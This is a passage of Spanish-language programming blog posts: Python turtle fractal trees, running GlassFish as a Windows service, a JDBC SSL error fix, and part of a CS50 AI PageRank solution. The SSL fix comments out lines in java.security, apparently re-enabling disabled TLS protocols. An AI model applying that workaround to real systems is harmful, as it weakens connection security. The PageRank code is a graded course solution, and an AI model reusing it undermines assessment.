#001080;">n</span>-<span style="color: #098658;">1</span>)</div><div> <span style="color: #795e26;">drawit</span>(<span style="color: #001080;">cx</span>, <span style="color: #001080;">cy</span>, <span style="color: #001080;">angle</span> - <span style="color: #098658;">30</span>, <span style="color: #001080;">lenght</span> / <span style="color: #098658;">1.3</span>, <span style="color: #001080;">n</span>-<span style="color: #098658;">1</span>)</div><div> <span style="color: #795e26;">drawit</span>(<span style="color: #001080;">cx</span>, <span style="color: #001080;">cy</span>, <span style="color: #001080;">angle</span>, <span style="color: #001080;">lenght</span> / <span style="color: #098658;">1.3</span>, <span style="color: #001080;">n</span>-<span style="color: #098658;">1</span>)</div><div> <span style="color: #af00db;">else</span>:</div><div> <span style="color: #267f99;">t</span>.<span style="color: #795e26;">hideturtle</span>()</div><div> <span style="color: #af00db;">return</span> <span style="color: #098658;">0</span></div><br /><br /><div><span style="color: #795e26;">drawit</span>(<span style="color: #098658;">0</span>, -<span style="color: #098658;">100</span>, <span style="color: #098658;">90</span>, <span style="color: #098658;">100</span>, <span style="color: #098658;">7</span>)</div><div><span style="color: #267f99;">t</span>.<span style="color: #795e26;">mainloop</span>()</div></div></div><br /><p>Ahora mi árbol ya no parece muerto:</p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhSSeiRSLV3ZgVOVN4Jtg03xGFPbUjPyqZOxLRLLcgwl06mb5eoeXdLRJkW1jSYQ1kV1ZC9M1oHMnt4JdSvSIrafgUpF0e2km2w6Rq8ZF0zpQsXxr5gPZek4U9b1aaFaSMVj4b_FTtGac_RORowjwHnnO4eHdUSgJbqBbHy4rRQ205X1Vq0WglH3t87/s576/Captura.PNG" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="479" data-original-width="576" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhSSeiRSLV3ZgVOVN4Jtg03xGFPbUjPyqZOxLRLLcgwl06mb5eoeXdLRJkW1jSYQ1kV1ZC9M1oHMnt4JdSvSIrafgUpF0e2km2w6Rq8ZF0zpQsXxr5gPZek4U9b1aaFaSMVj4b_FTtGac_RORowjwHnnO4eHdUSgJbqBbHy4rRQ205X1Vq0WglH3t87/s16000/Captura.PNG" /></a></div><br /><p><a href="https://pythonturtle.academy/curvy-fractal-tree-source-code/" rel="nofollow" target="_blank">Luego me encontré con este otro arbolito</a>, cuyo código es muy parecido al mío. En lugar de un contador, usa la longitud de las ramas para ponerle un límite a la profundidad de las recursiones. No fue difícil modificar mi código para dibujar un arbolito curvo, y después de probar un poco noté que en este caso es mejor usar una longitud mínima en lugar de la variable <span style="font-family: courier;">n</span> para detener las recursiones. Al final, mi código es el siguiente:</p><div style="background-color: white; font-family: Consolas, "Courier New", monospace; font-size: 14px; line-height: 19px; white-space: pre;"><div style="line-height: 19px;"><div style="line-height: 19px;"><div><span style="color: #af00db;">import</span> <span style="color: #267f99;">turtle</span> <span style="color: #af00db;">as</span> <span style="color: #267f99;">t</span></div><br /><div><span style="color: blue;">def</span> <span style="color: #795e26;">drawit</span>(<span style="color: #001080;">x</span>, <span style="color: #001080;">y</span>, <span style="color: #001080;">angle</span>, <span style="color: #001080;">lenght</span>, <span style="color: #001080;">n</span>):</div><div> <span style="color: #af00db;">if</span> <span style="color: #001080;">lenght</span> > <span style="color: #098658;">2</span>:</div><div> <span style="color: #267f99;">t</span>.<span style="color: #795e26;">penup</span>()</div><div> <span style="color: #267f99;">t</span>.<span style="color: #795e26;">goto</span>(<span style="color: #001080;">x</span>, <span style="color: #001080;">y</span>)</div><div> <span style="color: #267f99;">t</span>.<span style="color: #795e26;">pendown</span>()</div><div> <span style="color: #267f99;">t</span>.<span style="color: #001080;">seth</span>(<span style="color: #001080;">angle</span>)</div><div> <span style="color: #267f99;">t</span>.<span style="color: #795e26;">forward</span>(<span style="color: #001080;">lenght</span>)</div><div> <span style="color: #001080;">cx</span> = <span style="color: #267f99;">t</span>.<span style="color: #795e26;">xcor</span>()</div><div> <span style="color: #001080;">cy</span> = <span style="color: #267f99;">t</span>.<span style="color: #795e26;">ycor</span>()</div><div> <span style="color: #795e26;">drawit</span>(<span style="color: #001080;">cx</span>, <span style="color: #001080;">cy</span>, <span style="color: #001080;">angle</span> + <span style="color: #098658;">25</span>, <span style="color: #001080;">lenght</span> * <span style="color: #098658;">0.9</span>, <span style="color: #001080;">n</span>-<span style="color: #098658;">1</span>)</div><div> <span style="color: #795e26;">drawit</span>(<span style="color: #001080;">cx</span>, <span style="color: #001080;">cy</span>, <span style="color: #001080;">angle</span> - <span style="color: #098658;">90</span>, <span style="color: #001080;">lenght</span> * <span style="color: #098658;">0.45</span>, <span style="color: #001080;">n</span>-<span style="color: #098658;">1</span>)</div><div> <span style="color: #af00db;">else</span>:</div><div> <span style="color: #267f99;">t</span>.<span style="color: #795e26;">hideturtle</span>()</div><div> <span style="color: #af00db;">return</span> <span style="color: #098658;">0</span></div><br /><br /><div><span style="color: #795e26;">drawit</span>(<span style="color: #098658;">200</span>, -<span style="color: #098658;">200</span>, <span style="color: #098658;">90</span>, <span style="color: #098658;">100</span>, <span style="color: #098658;">10</span>)</div><div><span style="color: #267f99;">t</span>.<span style="color: #795e26;">mainloop</span>()</div></div></div></div><p><br /></p><p>El resultado es:</p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjEbqqxniCDIESfOl_CXqbPCCzopReq8J1F54po3d-mgxpKO_yDW1Sl-rVXQ0n4RK80cIXBd6LQyhOaoT7zgC4FSWuzZ8y9xPNjRaJHNKIe32uXj6IRI6AtfUG_pIukbTLUyYNmFpnp_cIvFak6vyKN8czWbsr9earXQEMlkUMNVAKCmXGis9Sn9QLe/s745/Captura.PNG" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="616" data-original-width="745" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjEbqqxniCDIESfOl_CXqbPCCzopReq8J1F54po3d-mgxpKO_yDW1Sl-rVXQ0n4RK80cIXBd6LQyhOaoT7zgC4FSWuzZ8y9xPNjRaJHNKIe32uXj6IRI6AtfUG_pIukbTLUyYNmFpnp_cIvFak6vyKN8czWbsr9earXQEMlkUMNVAKCmXGis9Sn9QLe/s16000/Captura.PNG" /></a></div><p>Necesita algunos arreglos:</p><div style="background-color: white; font-family: Consolas, "Courier New", monospace; font-size: 14px; line-height: 19px; white-space: pre;"><div><span style="color: #af00db;">import</span> <span style="color: #267f99;">turtle</span> <span style="color: #af00db;">as</span> <span style="color: #267f99;">t</span></div><br /><div><span style="color: blue;">def</span> <span style="color: #795e26;">drawit</span>(<span style="color: #001080;">x</span>, <span style="color: #001080;">y</span>, <span style="color: #001080;">angle</span>, <span style="color: #001080;">lenght</span>, <span style="color: #001080;">n</span>):</div><div> <span style="color: #af00db;">if</span> <span style="color: #001080;">lenght</span> > <span style="color: #098658;">2</span>:</div><div> <span style="color: #267f99;">t</span>.<span style="color: #795e26;">penup</span>()</div><div> <span style="color: #267f99;">t</span>.<span style="color: #795e26;">goto</span>(<span style="color: #001080;">x</span>, <span style="color: #001080;">y</span>)</div><br /><div> <span style="color: #af00db;">if</span> <span style="color: #001080;">lenght</span> < <span style="color: #098658;">10</span>:</div><div> <span style="color: #267f99;">t</span>.<span style="color: #795e26;">color</span>(<span style="color: #a31515;">'gray'</span>)</div><div> <span style="color: #af00db;">else</span>:</div><div> <span style="color: #267f99;">t</span>.<span style="color: #795e26;">color</span>(<span style="color: #a31515;">'black'</span>)</div><br /><div> <span style="color: #267f99;">t</span>.<span style="color: #795e26;">pensize</span>(<span style="color: #001080;">lenght</span>/<span style="color: #098658;">15</span>)</div><div> <span style="color: #267f99;">t</span>.<span style="color: #795e26;">pendown</span>()</div><div> <span style="color: #267f99;">t</span>.<span style="color: #001080;">seth</span>(<span style="color: #001080;">angle</span>)</div><div> <span style="color: #267f99;">t</span>.<span style="color: #795e26;">forward</span>(<span style="color: #001080;">lenght</span>)</div><div> <span style="color: #001080;">cx</span> = <span style="color: #267f99;">t</span>.<span style="color: #795e26;">xcor</span>()</div><div> <span style="color: #001080;">cy</span> = <span style="color: #267f99;">t</span>.<span style="color: #795e26;">ycor</span>()</div><div> <span style="color: #795e26;">drawit</span>(<span style="color: #001080;">cx</span>, <span style="color: #001080;">cy</span>, <span style="color: #001080;">angle</span> + <span style="color: #098658;">25</span>, <span style="color: #001080;">lenght</span> * <span style="color: #098658;">0.9</span>, <span style="color: #001080;">n</span>-<span style="color: #098658;">1</span>)</div><div> <span style="color: #795e26;">drawit</span>(<span style="color: #001080;">cx</span>, <span style="color: #001080;">cy</span>, <span style="color: #001080;">angle</span> - <span style="color: #098658;">90</span>, <span style="color: #001080;">lenght</span> * <span style="color: #098658;">0.45</span>, <span style="color: #001080;">n</span>-<span style="color: #098658;">1</span>)</div><div> <span style="color: #af00db;">else</span>:</div><div> <span style="color: #267f99;">t</span>.<span style="color: #795e26;">hideturtle</span>()</div><div> <span style="color: #af00db;">return</span> <span style="color: #098658;">0</span></div><br /><br /><div><span style="color: #795e26;">drawit</span>(<span style="color: #098658;">180</span>, -<span style="color: #098658;">200</span>, <span style="color: #098658;">90</span>, <span style="color: #098658;">100</span>, <span style="color: #098658;">10</span>)</div><div><span style="color: #267f99;">t</span>.<span style="color: #795e26;">mainloop</span>()</div></div><p><br /></p><p>Finalmente queda así:</p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgXNM2SEJhT9kmWyLCHto4tqkqs9CaGlcaSyoEWAtpqCyRWWtzEQufooRQg2KC-TSpfDo9VXfCZp0wBnuutpBsCsv0OLbmHmRvOHibrpvvJhFaGZkibvNqwm840nl1xoS0gmmAUH2RVlkGUquaPqz6BHZie2lqGGmHSktYL7six-Ffk1T60R75dWKbp/s773/Captura.PNG" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="603" data-original-width="773" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgXNM2SEJhT9kmWyLCHto4tqkqs9CaGlcaSyoEWAtpqCyRWWtzEQufooRQg2KC-TSpfDo9VXfCZp0wBnuutpBsCsv0OLbmHmRvOHibrpvvJhFaGZkibvNqwm840nl1xoS0gmmAUH2RVlkGUquaPqz6BHZie2lqGGmHSktYL7six-Ffk1T60R75dWKbp/s16000/Captura.PNG" /></a></div>Broken_Windowhttp://www.blogger.com/profile/01485252540288156823noreply@blogger.com0tag:blogger.com,1999:blog-1158634561357243831.post-1210621982391536992022-03-09T08:55:00.002-08:002022-03-09T08:58:57.883-08:00Instalando Glassfish como servicio de Windows (versiones 4.1 y 5)<p>Estos días han sido días de Glassfish en mi laptop. Jugando con las versiones 4.1 y 5, y rebuscando en internet, encontré que se puede instalar como un servicio de Windows. Como mis Glassfish son todos para pruebas, trasteo, más trasteo y depuración, mi dominio es el que se usa por defecto: domain1. Los puertos son también los que vienen por defecto: 4848 para la consola de administración y 8080 para la conexión http.<br /></p><p>Dos buenos tutoriales han sido:</p><p><a href="https://www.asesoriaensig.com.mx/instalar-glassfish-4-como-servicio-en-windows-2008/">https://www.asesoriaensig.com.mx/instalar-glassfish-4-como-servicio-en-windows-2008/</a></p><p><a href="https://www.luv2code.com/2013/11/13/install-glassfish-4-as-a-windows-service/">https://www.luv2code.com/2013/11/13/install-glassfish-4-as-a-windows-service/</a></p><p>Lo que me sucedió es que con el comando <span style="font-family: courier;">asadmin start-domain</span> me inicia el glassfish pero después de un rato tiende a detenerse. Este comando es para pruebas o depuración, no para producción.</p><p>Para producción en Windows, el Glassfish debe arrancarse como servicio. Para eso existe este comandito el cual debe ejecutarse como Administrador o pasará lo que se menciona <a href="https://stackoverflow.com/questions/26644986/create-a-service-glassfish" rel="nofollow" target="_blank">aquí</a>:</p><p><span style="font-family: courier;">asadmin create-service</span></p><p>Lo que no ponen los tutoriales es lo siguiente: tengo un millón de servicios en Windows ¿cómo ubico el de Glassfish? Bueno, en Windows se crea como <i>nombre-del-dominio Glassfish Server</i>:</p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/a/AVvXsEhtBkcx-QWWiAdFol99OtdwaM_6DqfTcIYllJCfa75ZnTNQq8Soh2bqHVlS3CyGAOCcGU9cXm8vklmCkV1Rt6bfLNn7WHDJV6J_SBklhPBCVGT9udhDvCX7h2xkUszxQRQ_1ek2-L_bEQ8z4eREH0vVljxzPsa6viEcNkgxtzUmcpBIXVa41hc0znfF=s462" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="151" data-original-width="462" src="https://blogger.googleusercontent.com/img/a/AVvXsEhtBkcx-QWWiAdFol99OtdwaM_6DqfTcIYllJCfa75ZnTNQq8Soh2bqHVlS3CyGAOCcGU9cXm8vklmCkV1Rt6bfLNn7WHDJV6J_SBklhPBCVGT9udhDvCX7h2xkUszxQRQ_1ek2-L_bEQ8z4eREH0vVljxzPsa6viEcNkgxtzUmcpBIXVa41hc0znfF=s16000" /></a></div><p></p><p>Lo malo: este servicio funciona, Glassfish 5 se ejecuta en background, pero Windows 10 no lo administra bien, reinicié mi laptop y el servicio estaba detenido así que tuve que iniciarlo de forma manual, además la información de si se está ejecutando o no no se muestra correctamente. Esto no me ocurrió con Glassfsih 4.1 corriendo en Windows Server 2013.</p><p>Volviendo a mi Glassfish 5 corriendo en Windows 10, no me permitía depurar webservices en Netbeans apuntando a ese mismo Glassfish 5. Como sólo es un Glassfish de pruebas, lo mejor en este caso es eliminar el servicio.</p><p>Deshabilité el servicio, ejecuté el Windows Powershell como administrador e intenté eliminar el servicio de glassfish con el comando:</p><p><span style="font-family: courier;">sc domain1</span></p><p>No se eliminó, luego intenté con el comando:</p><p><span style="font-family: courier;">sc delete "domain1 GlassFish Server"</span></p><p>Y tampoco se eliminó. Busqué en internet que estaba pasando y <a href="https://stackoverflow.com/questions/19038273/sc-delete-not-deleting-service" rel="nofollow" target="_blank">en dos segundos hallé la solución</a>. El comando es:</p><p><span style="font-family: courier;">sc.exe delete "domain1"</span></p><p>Lo que debe mostrar al ejecutarse es:</p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/a/AVvXsEg0MMnKu37A9BMwHKjvSPgBqQ3xaem8BZWSZW5LIFGOFk_3rijEMxaFoKpuS5yeGJpbk3lZa5EfmyzKcuw4j_EbBFW2hkqnpkkcoeUN0gG5Lx21qMNmURTXjGqSG8UY1pUb9iVBA-jB9BvuJ-IBoAd1KPQ6UrvrWoH7lBOgUDNQyqFKFn83_WoOT8k9=s393" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="63" data-original-width="393" src="https://blogger.googleusercontent.com/img/a/AVvXsEg0MMnKu37A9BMwHKjvSPgBqQ3xaem8BZWSZW5LIFGOFk_3rijEMxaFoKpuS5yeGJpbk3lZa5EfmyzKcuw4j_EbBFW2hkqnpkkcoeUN0gG5Lx21qMNmURTXjGqSG8UY1pUb9iVBA-jB9BvuJ-IBoAd1KPQ6UrvrWoH7lBOgUDNQyqFKFn83_WoOT8k9=s16000" /></a></div><br /><p></p><p>Luego se deben borrar los archivos que deja el servicio en esta ruta:<br /></p><p>glassfish5\glassfish\domains\domain1\bin</p><p>Lo malo es que eliminar el servicio de glassfish no detiene los procesos de glassfish, para esto debemos ir al Task Manager (taskmgr.msc), hacer clic derecho en las cabeceras de las columnas y elegir "Línea de comandos". Luego se deben matar todos los procesos de Java que tengan "glassfish" en algún lado de su línea de comandos:</p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/a/AVvXsEhuP2RCAWGbvhjCOWTy6HeNpNJy9kISFd_2LkIHshjIpByyqV32lFlD5o4Jn-EXyxLeLwLmpijgDS0sDLrw-g1NCwuNeJmvCjpJ-bYugPYFppOr13saxPgv7Oj85CimySouNXP-Ct6Ui0dr2B2h3Xp9MSKl2EPqD80GIIWT8f48alj4OOTIaO-RGh6R=s1073" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="248" data-original-width="1073" src="https://blogger.googleusercontent.com/img/a/AVvXsEhuP2RCAWGbvhjCOWTy6HeNpNJy9kISFd_2LkIHshjIpByyqV32lFlD5o4Jn-EXyxLeLwLmpijgDS0sDLrw-g1NCwuNeJmvCjpJ-bYugPYFppOr13saxPgv7Oj85CimySouNXP-Ct6Ui0dr2B2h3Xp9MSKl2EPqD80GIIWT8f48alj4OOTIaO-RGh6R=s16000" /></a></div><p>Suele haber más de uno, hay que matarlos todos. Después de hacer todo esto, ya pude debuggear mis webservices desde Netbeans usando Glassfish 5.<br /></p><p></p><p>Por otro lado, el ejecutable asadmin está en esta ruta:</p><p>C:\glassfish5\glassfish\bin <br /></p>Broken_Windowhttp://www.blogger.com/profile/01485252540288156823noreply@blogger.com0tag:blogger.com,1999:blog-1158634561357243831.post-46093077465537619602022-02-09T18:53:00.004-08:002022-02-09T18:54:43.079-08:00Arreglando el Error: "No appropriate protocol (protocol is disabled or cipher suites are inappropriate)" en Jdk 1.8.0_301<p> Quise conectarme desde una aplicación chiquita de java a una base de datos en Sql Server 2017 via el driver jdbc sqljdbc4-2.0.jar. La aplicación la estaba depurando en Netbeans 11.1, corriendo en Windows 10. Todo estaba bien hasta que actualicé a la versión del Jdk a la 1.8.0_301, entonces en la línea:</p><p><span style="font-family: courier;"><span style="color: #2b00fe;">Connection </span>connection = <span style="color: #2b00fe;">DriverManager</span>.getConnection(connectionString);</span></p><p>me arrojó esta excepción:</p><p><i>El controlador no pudo establecer una conexión segura con SQL Server con el cifrado de Capa de sockets seguros (SSL). Error: "No appropriate protocol (protocol is disabled or cipher suites are inappropriate)"</i></p><p>En inglés:</p><p><i>The driver could not establish a secure connection to SQL Server by using Secure Sockets Layer (SSL) encryption. Error: “No appropriate protocol (protocol is disabled or cipher suites are inappropriate)”.</i></p><p>Lueo de rebuscar en foros raruchos, hallé <a href="https://community.splunk.com/t5/Developing-for-Splunk-Enterprise/quot-No-appropriate-protocol-protocol-is-disabled-or-cipher/m-p/191362" rel="nofollow" target="_blank">en éste</a> la solución:</p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/a/AVvXsEhzTe2-4MEZpGU5dyVKYIKDelvOq57rM4SCOUGuG7NXA8lGi65PFHr6y_HrB7IZFyFJqKvNiB8TMta5fv47WGFgcZ39VIzMRpBC7boYpi9aN1WBLiG1xXJesqzV0SNS523BlwDY5rGvDxxGp_nAXw2nc_1yZU778Vbg4pBgbAOXU_iPGdc9OY2a2jDq=s863" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="248" data-original-width="863" src="https://blogger.googleusercontent.com/img/a/AVvXsEhzTe2-4MEZpGU5dyVKYIKDelvOq57rM4SCOUGuG7NXA8lGi65PFHr6y_HrB7IZFyFJqKvNiB8TMta5fv47WGFgcZ39VIzMRpBC7boYpi9aN1WBLiG1xXJesqzV0SNS523BlwDY5rGvDxxGp_nAXw2nc_1yZU778Vbg4pBgbAOXU_iPGdc9OY2a2jDq=s16000" /></a></div><br /><p>Es hora de ir a buscar ese archivo. Primero debo cerrar todas las aplicaciones de java: jars y Netbeans incluídos. En mi caso el archivo a modificar está en C:\Program Files\Java\jdk1.8.0_301\jre\lib\security\java.security. Las líneas que debo comentar son las 723, 724 y 725:</p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/a/AVvXsEi833bwojolUWQPicMg29_xn9RmrnK5Ks26t_OKuqYo1Hwd-5tIr-bUMnzUc_1FWLRpLiZFXaoZE3GterUdyLT0caIiVaPL8qM-ORZn9ry2E8qLF-wNta5ZS1PAn_k_DUE1RoIFkdAT7mNrB22S0mZc4Y5m7Ip5W5c-ejLMRA-GV8iOEVIAI2tyFwID=s771" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="147" data-original-width="771" src="https://blogger.googleusercontent.com/img/a/AVvXsEi833bwojolUWQPicMg29_xn9RmrnK5Ks26t_OKuqYo1Hwd-5tIr-bUMnzUc_1FWLRpLiZFXaoZE3GterUdyLT0caIiVaPL8qM-ORZn9ry2E8qLF-wNta5ZS1PAn_k_DUE1RoIFkdAT7mNrB22S0mZc4Y5m7Ip5W5c-ejLMRA-GV8iOEVIAI2tyFwID=s16000" /></a></div><br /><p>Debe quedar así:</p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/a/AVvXsEj13DFKsrEATIws76t81OI_C6WboM-LUFd_xM2qViW1kw-_U_zmjnA47k1C2HuzWuX_BPAGLW6JXYzu5VqEA6xRHuuZrC2xr4wDCH91x9i-DJx0sM6-gsf7Je18yfP28f-XtVIRLpCm0igO1UloKbH2S0hJcYNfOQqX2TOwOioJytJcir3ljab6kGxA=s764" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="141" data-original-width="764" src="https://blogger.googleusercontent.com/img/a/AVvXsEj13DFKsrEATIws76t81OI_C6WboM-LUFd_xM2qViW1kw-_U_zmjnA47k1C2HuzWuX_BPAGLW6JXYzu5VqEA6xRHuuZrC2xr4wDCH91x9i-DJx0sM6-gsf7Je18yfP28f-XtVIRLpCm0igO1UloKbH2S0hJcYNfOQqX2TOwOioJytJcir3ljab6kGxA=s16000" /></a></div><br /><p>En mi caso, basta volver a arrancar las aplicaciones de java (Netbeans incluídos) para resolver el problema y poder conectarme a mi base de datos. Puede ser que en algunos casos sea necesario reiniciar el sistema operativo.</p>Broken_Windowhttp://www.blogger.com/profile/01485252540288156823noreply@blogger.com0tag:blogger.com,1999:blog-1158634561357243831.post-26385835873458352182021-11-25T08:23:00.000-08:002021-11-25T08:23:20.218-08:00Resolviendo el proyecto Pagerank del curso "CS50’s Introduction to Artificial Intelligence with Python"El curso se encuentra en este enlace: <a href="https://cs50.harvard.edu/ai/2020/" rel="nofollow" target="_blank">https://cs50.harvard.edu/ai/2020/</a><div>El proyecto se encuentra en <a href="https://cs50.harvard.edu/ai/2020/projects/2/pagerank/" rel="nofollow" target="_blank">https://cs50.harvard.edu/ai/2020/projects/2/pagerank/</a></div><div><br /></div><div>Aquí se deben hacer dos implementaciones para calcular el Pagerank:</div><div><ul style="text-align: left;"><li>La primera implementación es el Modelo del Surfista Aleatorio (Random Surfer Model). En resumen, el algoritmo debe iterar a través de todas las páginas, escoger una de las páginas enlazadas, y contar cuántas veces se escogió cada página. Las reglas de cómo se debe escoger cada página están en la función <span style="font-family: courier;">transition_model</span>, que devuelve la probabilidad con la que se debe escoger cada página. Los valores devueltos por la función <span style="font-family: courier;">transition_model</span> deben sumar 1, para esto se tienen dos conjuntos de valores, las páginas enlazadas desde una página determinada (el conjunto de páginas que se está evaluando), y todas las otras páginas. Si una página pertenece al conjunto de páginas que estamos evaluando, la distribución de probabilidad es el factor <span style="font-family: courier;">damping_factor/Número de páginas en el conjunto</span>. Si una página no está en el conjunto, la probabilidad es de <span style="font-family: courier;">(1 - el factor damping_factor)/el total de páginas que no pertenecen al conjunto</span>. Lo que debe devolver esta función es una proporción, por ello al final se dividen los resultados entre el total de páginas.</li></ul><div><br /></div><div>La función <span style="font-family: courier;">transition_model</span> es:</div><div><br /></div><div><div style="background-color: white; font-family: Consolas, "Courier New", monospace; font-size: 14px; line-height: 19px; white-space: pre;"><div><span style="color: blue;">def</span> <span style="color: #795e26;">transition_model</span>(<span style="color: #001080;">corpus</span>, <span style="color: #001080;">page</span>, <span style="color: #001080;">damping_factor</span>):</div><div> <span style="color: #a31515;">"""</span></div><div><span style="color: #a31515;"> Return a probability distribution over which page to visit next,</span></div><div><span style="color: #a31515;"> given a current page.</span></div><br /><div><span style="color: #a31515;"> With probability `damping_factor`, choose a link at random</span></div><div><span style="color: #a31515;"> linked to by `page`. With probability `1 - damping_factor`, choose</span></div><div><span style="color: #a31515;"> a link at random chosen from all pages in the corpus.</span></div><div><span style="color: #a31515;"> """</span></div><div> <span style="color: #0070c1;">N</span> = <span style="color: #795e26;">len</span>(<span style="color: #001080;">corpus</span>[<span style="color: #001080;">page</span>])</div><div> <span style="color: #0070c1;">M</span> = <span style="color: #795e26;">len</span>(<span style="color: #001080;">corpus</span>)</div><div> <span style="color: #001080;">distr</span> = { }</div><br /><div> <span style="color: #af00db;">if</span> <span style="color: #0070c1;">N</span> == <span style="color: #098658;">0</span>:</div><div> <span style="color: #001080;">distr</span> = { <span style="color: #001080;">c</span>: <span style="color: #098658;">1</span> / <span style="color: #0070c1;">M</span> <span style="color: #af00db;">for</span> <span style="color: #001080;">c</span> <span style="color: #af00db;">in</span> <span style="color: #001080;">corpus</span>.keys() }</div><div> <span style="color: #af00db;">else</span>:</div><div> <span style="color: #af00db;">for</span> <span style="color: #001080;">p</span> <span style="color: #af00db;">in</span> <span style="color: #001080;">corpus</span>.keys():</div><div> <span style="color: #af00db;">if</span> <span style="color: #001080;">p</span> <span style="color: blue;">in</span> <span style="color: #001080;">corpus</span>[<span style="color: #001080;">page</span>]:</div><div> <span style="color: #001080;">distr</span>[<span style="color: #001080;">p</span>] = <span style="color: #001080;">damping_factor</span> / <span style="color: #0070c1;">N</span></div><div> <span style="color: #af00db;">else</span>:</div><div> <span style="color: #001080;">distr</span>[<span style="color: #001080;">p</span>] = (<span style="color: #098658;">1</span> - <span style="color: #001080;">damping_factor</span>) / (<span style="color: #0070c1;">M</span> - <span style="color: #0070c1;">N</span>)</div><br /><div> <span style="color: #af00db;">return</span> <span style="color: #001080;">distr</span></div></div></div><div><br /></div><div><br /></div><div>La función para esta primera implementación es:</div><div><br /></div><div><div style="background-color: white; font-family: Consolas, "Courier New", monospace; font-size: 14px; line-height: 19px; white-space: pre;"><div><span style="color: blue;">def</span> <span style="color: #795e26;">sample_pagerank</span>(<span style="color: #001080;">corpus</span>, <span style="color: #001080;">damping_factor</span>, <span style="color: #001080;">n</span>):</div><div> <span style="color: #a31515;">"""</span></div><div><span style="color: #a31515;"> Return PageRank values for each page by sampling `n` pages</span></div><div><span style="color: #a31515;"> according to transition model, starting with a page at random.</span></div><br /><div><span style="color: #a31515;"> Return a dictionary where keys are page names, and values are</span></div><div><span style="color: #a31515;"> their estimated PageRank value (a value between 0 and 1). All</span></div><div><span style="color: #a31515;"> PageRank values should sum to 1.</span></div><div><span style="color: #a31515;"> """</span> </div><div> <span style="color: #001080;">pageranks</span> = {<span style="color: #001080;">p</span> : <span style="color: #098658;">0</span> <span style="color: #af00db;">for</span> <span style="color: #001080;">p</span> <span style="color: #af00db;">in</span> <span style="color: #001080;">corpus</span>.keys()}</div><div> <span style="color: #001080;">page</span> = <span style="color: #267f99;">random</span>.<span style="color: #795e26;">choice</span>(<span style="color: #267f99;">list</span>(<span style="color: #001080;">corpus</span>.keys()))</div><div> <span style="color: #001080;">trans</span> = <span style="color: #795e26;">transition_model</span>(<span style="color: #001080;">corpus</span>, <span style="color: #001080;">page</span>, <span style="color: #001080;">damping_factor</span>)</div><div> <span style="color: #001080;">pageranks</span>[<span style="color: #001080;">page</span>] = <span style="color: #098658;">1</span></div><br /><div> <span style="color: #af00db;">for</span> <span style="color: #001080;">_</span> <span style="color: #af00db;">in</span> <span style="color: #267f99;">range</span>(<span style="color: #098658;">1</span>, <span style="color: #001080;">n</span>):</div><div> <span style="color: #001080;">links</span> = []</div><div> <span style="color: #001080;">weights_</span> = []</div><br /><div> <span style="color: #af00db;">for</span> <span style="color: #001080;">p</span> <span style="color: #af00db;">in</span> <span style="color: #001080;">trans</span>.<span style="color: #795e26;">keys</span>():</div><div> <span style="color: #001080;">links</span>.<span style="color: #795e26;">append</span>(<span style="color: #001080;">p</span>)</div><div> <span style="color: #001080;">weights_</span>.<span style="color: #795e26;">append</span>(<span style="color: #001080;">trans</span>[<span style="color: #001080;">p</span>])</div><br /><div> <span style="color: #001080;">page</span> = <span style="color: #267f99;">random</span>.<span style="color: #795e26;">choices</span>(<span style="color: #001080;">links</span>, <span style="color: #001080;">weights</span> = <span style="color: #001080;">weights_</span>, <span style="color: #001080;">k</span> = <span style="color: #098658;">1</span>)</div><div> <span style="color: #001080;">pageranks</span>[<span style="color: #001080;">page</span>[<span style="color: #098658;">0</span>]] += <span style="color: #098658;">1</span></div><div> <span style="color: #001080;">trans</span> = <span style="color: #795e26;">transition_model</span>(<span style="color: #001080;">corpus</span>, <span style="color: #001080;">page</span>[<span style="color: #098658;">0</span>], <span style="color: #001080;">damping_factor</span>)</div><br /><div> </div><div> <span style="color: #af00db;">return</span> {<span style="color: #001080;">p</span> : <span style="color: #001080;">pageranks</span>[<span style="color: #001080;">p</span>] / <span style="color: #001080;">n</span> <span style="color: #af00db;">for</span> <span style="color: #001080;">p</span> <span style="color: #af00db;">in</span> <span style="color: #001080;">pageranks</span>.<span style="color: #795e26;">keys</span>()}</div></div></div><div><br /></div><div><br /></div><ul style="text-align: left;"><li>La segunda implementación es el Método Iterativo, el cual escoge una página cualquiera para empezar a calcular el valor de Page_rank mediante la fórmula:</li></ul><div><br /></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg026-_JoA04ZDX9PPdLuV2GsJzRWoo2YQEPOsVk2ezx3Usrsg4qTTv-lg3eDQlHnvrwdks7Lh83VyjrpEgYFr3qB8F1A2hEFfgvmYyg1G6-kQY0vIU0hAM9k8_rtHD7YgqinvkDrpDick/s554/formula.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="100" data-original-width="554" 